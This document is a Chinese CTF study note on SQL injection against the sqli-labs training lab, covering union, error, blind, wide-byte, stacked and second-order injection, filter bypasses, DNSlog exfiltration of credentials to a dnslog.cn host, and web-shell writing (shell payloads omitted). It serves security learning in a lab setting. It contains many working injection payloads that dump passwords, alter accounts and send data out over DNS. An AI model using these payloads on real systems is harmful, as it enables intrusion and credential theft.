安全声明:本文仅用于 CTF 学习与授权环境复现。
可直接运行的 PHP shell 示例已替换为<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>。
对应十六进制 PHP payload 已替换为<HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY>。
文中的危险脚本文件名发布时统一改为output.txt,避免触发杀软或被误用为可执行脚本。
SQL注入
联合注入
- 1.寻找注入点: 通过提交测试Payload(如单引号或逻辑语句)观察页面反应,确认参数是否存在SQL注入风险及判断其类型(字符型/数值型)。
- 2.确定字段数: 使用ORDER BY子句逐次递增列数进行探测,当页面因超出实际列数而报错时,即可确定原始查询的字段数量。
- 3.探测回显点: 构造UNION SELECT语句并令原查询结果为空,观察页面中显示的数字位置,这些位置即为可用于回显数据的字段。
- 4.获取当前数据库基本信息: 在回显点位置替换为database()或version()等函数,从而获取当前数据库名称、版本等关键信息。
- 5.查询表名: 访问information_schema.tables系统表,查询并列出当前数据库中的所有表名,寻找可能存储目标数据的表。
- 6.查询列名: 针对已识别的目标表,查询information_schema.columns系统表,获取该表包含的所有列名结构。
- 7.提取最终数据: 直接查询目标表的目标列,将所需数据(如Flag)通过回显点输出到页面,完成整个联合注入攻击流程
报错注入
- extractvalue (有长度限制,32位)
select extractvalue(1,concat(0x7e,(select @@version),0x7e));ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~' - updatexml (有长度限制,32位)
select updatexml(1,concat(0x7e,(select @@version),0x7e),1);ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
盲注
#####布尔盲注
SUBSTR()函数用于截取字符串中的一部分。利用SUBSTR()函数,逐步截取数据库中的某个数据:SUBSTR(string, start, length)其中,string表示要截取的字符串,start表示截取的起始位置,length表示截取的长度。SUBSTR()函数会从字符串的start位置开始,截取指定长度的字符MID()函数也是用于截取字符串的函数。MID(string, start, length)
时间盲注
IF()
IF() 函数是一种条件判断函数,它用于判断指定条件是否成立,并根据判断结果返回不同的值.
[](https://hello-ctf.com/hc-web/sql_injection/#__codelineno-46-1)IF(condition, true, false)
其中,condition 表示要判断的条件,true 表示条件成立时要返回的值,false 表示条件不成立时要返回的值。如果条件成立,IF() 函数将返回 true,否则将返回 false`
1 | SELECT username,password FROM users WHERE id = 1 AND IF(ASCII(SUBSTR(username,1,1))=97,SLEEP(5),0) |
Sqlite
判断列数
注释符后加空格
1 | ' ORDER BY 1-- |
系统表 sqlite_master
1 | ' UNION SELECT 1, sql, 3 FROM sqlite_master-- |

分析
CREATE TABLE flaggggggggggg (id…, flag TEXT…)
知道:表名=flaggggggggggg,字段名=flag
1 | ' UNION SELECT 1, flag, 3 FROM flaggggggggggg-- |

或者先查询所有表
1 | ' UNION SELECT 1,name,3 FROM sqlite_master WHERE type='table'-- |
接着查结构
1 | ' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE name='flaggggggggggg'-- |
最后查看flag
1 | ' UNION SELECT 1, flag, 3 FROM flaggggggggggg-- |
注释符
1 | '#', '--+', '-- -', '%23', '%00', '/**/' |
注释符过滤(–,#) → 利用||'闭合
1 | ' OR 1 = 1||' |
“and、or” 过滤
1 | 可以使用"&&"和"||"代替, |
关键词过滤
1 | like模糊匹配去绕过 |
空格过滤
1 | 内联注释代替空格id=1_/**/_and_/**/_1=1 |
符号”=”过滤
1 | 1. 用in代替= |
逗号过滤
1 | 逗号被过滤时可以使用from...for... |
False注入
1 | select * from users where username = 0; # 查询表中所有数据 |
等价函数
1 | if()=> case...when..then...else...end |
group by 代替 order by 绕过
级联
- `CONCAT('a', 'b') => 'ab'`
- 如果任意一栏为NULL,则返回NULL
- `CONCAT_WS(分隔符, 字串1, 字串2...)`
- `CONCAT_WS('@', 'gg', 'inin')`=>`gg@inin`
ASCII 功能
ascii('A') => 65
字符函数
char(65) => 'a'
00截断
PHP版本 < 5.4.3:在PHP 5.3.4及以后版本中,此漏洞已被修复
1 | '%00' OR 1=1 -- |
join无列名注入
join是SQL语句中的连接字符 我们可以通过join将两张表中的列连接在⼀块 就导致有可能会产⽣
相同的表名,但是jion不允许合并的两个表中有相同的列名,因此通过报错得到列名
1 | 1' || extractvalue(1,concat(0x07, (select * from(select * from output b join output c)a), 0x07))# |
Cookie 注入
User-Agent 注入
Refer 注入
二次注入
二次注入的原理,在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
sqli-labs-24
查看源码pass_change.php
发现只有username没有过滤
注册一个账号admin’# 密码123
更换密码为1111
成功修改
1 | UPDATE users SET PASSWORD='12345' where username='admin'#' and password='123456' |

此时实际更改的是用户admin的密码,现在登录admin密码1111发现登录成功
HTTP参数污染
由于tomcat和apache解析参数的顺序不同,当注入两个参数?id=1&id=2,此时tomcat解析的是第一个参数,而apache解析的是第二个参数并且SQL语句也是在apache服务器上执行的,由此绕过tomcat的检测。
less29

闭合方式为’
确定回显
1 | ?id=1&id=0'union select 1,2,(select group_concat(username,':',password) from users)--+ |

less30
闭合方式为”
1 | ?id=1&id=-2"%20union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+ |

less31
1 | ?id=1&id=2" |

闭合方式为”)
1 | ?id=1&id=-2")%20union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+ |

宽字节注入
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。因此我们在此想办法将’前面添加的\除掉
1 | %df 吃掉 \。具体的原因是 urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。 |
%df= 十六进制0xDF= 十进制 223(>128)%5c= 反斜杠\= 十进制 92- GBK规则:
223 + 92→ 合法汉字(具体字不重要) - 结果:(92)被223“带走”,单引号(39)无人看管,直接闭合SQL语句
less32

查看源码
1 | 发现将\替换成\\,将'和"分别替换成\'和\" |
1 | ?id=1%df%27 |

1 | ?id=-1%df%27%20union%20select%201,database(),3%20--+ |

1 | ?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ |

1 | ?id=-1%df'%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+ |

less33
使用addslashes()函数过滤
闭合方式为’
1 | ?id=-1%df'%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+ |
less34

| 步骤 | 用户输入 | 后端处理(假设用 addslashes + GBK数据库) |
数据库(GBK)解析结果 |
|---|---|---|---|
| 1️ | admin汉' |
URL解码 → 字节流(GBK): [a,d,m,i,n, 0xBA,0xBA, 0x27] |
❌ 未处理 |
| 2️ | — | addslashes 转义单引号: → admin汉\' 字节流变为: [...0xBA,0xBA, 0x5C,0x27] |
❌ 未处理 |
| 3️ | — | — | ✅ GBK解析开始: • 前5字母正常 • 0xBA,0xBA → 合成汉字”汉” • 0xBA(”汉”第二字节) + 0x5C(反斜杠) → 合成新汉字(如”寮”,GBK编码0xBA5C有效!) • 0x27(单引号)裸奔释放! |
| 结果 | — | — | SQL语句被闭合: ... WHERE uname='admin汉[合成汉字]' OR '1'='1'... → 注入成功! |
1 | passwd=admin&submit=Submit&uname=admin汉' union select 1,(select%20group_concat(username,0x3a,password)%20from%20users)# |

less36
函数为mysqli_real_escape_string,和addslashes函数功能差不多
| 步骤 | 机制 | 为什么关键 |
|---|---|---|
| 1. 字符集绑定 | 调用 mysql_real_escape_string() C API 时,自动携带连接对象的 charset 属性 |
转义逻辑与数据库解析逻辑同源 |
| 2. 字节流扫描 | 逐字节分析输入字符串: - 若当前字节 ≤ 127 → 单字节字符(ASCII) - 若当前字节 > 127 → 按连接字符集查表(如 GBK:取当前+下一字节组成汉字) |
避免在汉字中间插入反斜杠 |
| 3. 智能转义点 | 仅当确认是“独立需转义字符”时才插入 \: - 单引号 ' (0x27) - 双引号 " (0x22) - 反斜杠 \ (0x5C) - NUL (0x00) 等 |
转义点精准定位,不破坏多字节结构 |
| 4. 字节级输出 | 返回纯字节序列(非“字符串”),确保与数据库通信时字节流一致 | 避免 PHP 内部编码二次干扰 |
1 | ?id=-1%df%27%20union select 1,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+ |

less37
36的post
堆叠注入
堆叠注入是一种在 同一个注入点中连续执行多条 SQL 语句的攻击方式
原因:分号(;)
UNION执行的语句类型是有限的,而堆叠注入可以执行任意语句
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服 务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中**mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()**函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数
和union联合注入的区别:堆叠注入可以实现包括但不限于select的SQL语句,而union联合注入只能使用select语句。
1 | 例如 |
less38
1 | ?id=1%27;insert%20into%20users(id,username,password)values(38,%27666%27,%27666%27)--+ |
再重新访问id=38就可以看到自己设置的账户和密码了
less40
发现注入点,闭合方式为’),可以用堆叠注入来改密码:
1 | ?id=1');update users set password='666' where username='Dumb'--+ |


DNSlog外带注入
原理
1 | 原理:当我们输入域名时,会向DNS服务器解析获取IP,再通过IP访问,在这过程中DNS服务器会产生对域名请求解析的日志,比如此时存在一个域名为dnslog.cn.,要使用的payload为`whoami`.dnslog.cn,就可以通过DNS解析日志来获取到主机名 |
| 场景 | 传统盲注痛点 | DNSLog解决方案 |
|---|---|---|
| 无回显注入 | 响应无数据返回,需逐位猜解(极慢) | 一次性带出完整数据 |
| WAF拦截 | HTTP响应内容被深度检测 | DNS查询通常绕过HTTP层检测 |
| 网络隔离 | 目标无法回连攻击者HTTP服务器 | DNS协议(UDP 53)通常防火墙放行 |
| 时间盲注 | 依赖响应时间,易受网络波动影响 | 结果明确可见,无时间依赖 |
UNC(Universal Naming Convention)
定义
Windows系统用于定位网络资源的标准路径格式:\\<主机名或IP>\<共享名>\<路径>\<文件名>
| 特性 | 说明 | 安全意义 |
|---|---|---|
| 双反斜杠前缀 | \\ 标识网络路径起点 |
触发Windows网络解析机制 |
| 主机名解析 | 系统自动将<主机名>解析为IP |
关键! 触发DNS查询 |
| 协议栈 | 优先NetBIOS → DNS → LLMNR | DNS阶段可被攻击者劫持 |
| 跨协议支持 | SMB(445)、WebDAV等 | 依赖系统网络服务 |
利用场景
使用dnslog方法的场景非常苛刻
需要知道以下数据
secure_file_priv=”” ,secure_file_priv必须是空
secure_file_priv为null,load_file则不能加载文件。
secure_file_priv为路径,可以读取路径中的文件;
secure_file_priv为空,可以读取磁盘的目录;
服务器只能在windows下使用,因为需要使用到UNC路径
拥有root权限,因为有root权限后才能使用load_file()这个函数
LOAD_FILE()函数可以加载本地文件系统中的文件,并将其作为字符串返回
**前置
- 配置MySQL参数
找到MySQL配置文件
在phpstudy安装目录下找到MySQL的配置文件,通常路径为:
1
phpstudy_pro\Extensions\MySQL<版本号>\my.ini
修改secure_file_priv参数
用记事本打开my.ini
在[mysqld]部分添加或修改以下配置:
1
secure_file_priv=""
保存文件
重启MySQL服务
- 在phpstudy控制面板中,找到MySQL服务,点击”重启”
load_file
- 作用:MySQL内置函数,设计用于读取服务器上的文件内容
- 正常用途:
SELECT LOAD_FILE('/etc/passwd')读取文件 - 在此处的巧妙用法:
- 传递一个不存在的UNC路径作为参数
- 利用Windows处理UNC路径时先解析主机名的特性
- 即使文件不存在,也会触发DNS查询
- 权限要求:需要MySQL用户具有FILE权限(通常是root)
hex(user())
- 分解执行:
user():MySQL函数,返回当前用户名和主机,如root@localhosthex():将字符串转换为十六进制,如root→726f6f74
- 为什么必须用hex():
- DNS域名规范:只能包含[a-z0-9-],不支持
@、.等特殊字符 user()返回值包含@符号(如root@localhost),无法直接作为子域名- 十六进制编码后仅含0-9和a-f,完全符合DNS规范
- DNS域名规范:只能包含[a-z0-9-],不支持
less8
1 | ?id=1' AND load_file(concat('\\\\', hex(user()), '.8f890j.dnslog.cn/abc'))--+ |

十六进制解码
爆库名
1 | ?id=1' and load_file(concat('\\\\',database(),'.8f890j.dnslog.cn/abc'))--+ |

爆表名
**注:**因为使用group_concat()函数拼接时默认使用’ , ‘进行拼接,dnslog无法解析,所以这里有两种方法可以解决
1 |
|
1 | ?id=1' and load_file(concat('\\\\',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.8f890j.dnslog.cn/abc'))--+ |

爆列名
1 | ?id=1' AND load_file(concat('\\\\', (SELECT group_concat(column_name separator '_') FROM information_schema.columns WHERE table_schema=database() AND table_name='users'), '.8f890j.dnslog.cn/abc'))--+ |

获取数据
1 | ?id=1' AND load_file(concat('\\\\', (SELECT concat(username, '_', password) FROM security.users LIMIT 0,1), '.8f890j.dnslog.cn/abc'))--+ |

SQL写马
日志写马
我们所有的数据库的都有一个存放日志的文件,这个文件可以会进行记录数据库的操作语句,也可能不会记录数据库的操作语句,这却决于两个全局变量:
general_log==>日志保存状态,有两个状态,ON代表开启 OFF代表关闭。
general_log_file==> 日志的保存路径。
SET GLOBAL general_log='ON'; 打开日志记录
set global general_log_file=’D:\phpstudy_pro\WWW\log.php’; 写马,这里需要注意的就是需要使用双斜线,然后还有就是日志文件必须是.php文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中,不管执行成功与否。
select ‘
mysql into outfile注射一句话木马
secure_file_priv=””就是可以into outfile写入任意磁盘文件
十六进制编码
1 | ?sort=1;select <HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY>%20into outfile'X:/phpstudy_pro/WWW/sqli-labs-master/Less-50/output.txt'--+ |
